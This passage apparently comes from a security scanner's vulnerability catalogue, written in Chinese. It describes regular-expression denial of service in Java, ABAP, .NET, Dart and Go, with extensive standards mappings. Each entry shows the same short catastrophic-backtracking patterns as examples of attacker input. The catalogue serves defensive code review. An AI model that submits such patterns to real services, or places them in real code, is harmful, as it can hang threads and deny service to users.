[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[52] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[53] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_parse_double
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒停止回應。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式可能會被攻擊者利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.abap.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Microsoft Best Practices for Regular Expressions in the .NET Framework
[2] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[3] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[6] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[7] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[8] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[9] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[10] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dotnet.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[3] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[4] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[5] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[6] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[7] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dart.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒停止回應。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式可能會被攻擊者利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.golang.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[45] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_regular_expression
Abstract
不可信賴的資料會傳遞到應用程式並做為規則運算式使用。如此將會導致執行緒過度消耗 CPU 資源。
Explanation
在規則運算式評估程式及相關方法的實作中存在弱點,針對包含會自行重複之群組運算式的規則運算式進行評估時,該弱點可能會導致執行緒當機。此外,任何包含替代子運算式的規則運算式,若替代子運算式彼此重疊,則規則運算式也可能會被利用。這個瑕疵可以用來執行 Denial of Service (DoS) 攻擊。
範例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

目前沒有已知的規則運算式實作對此弱點免疫。所有平台和語言都會受到此類攻擊。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 185, CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
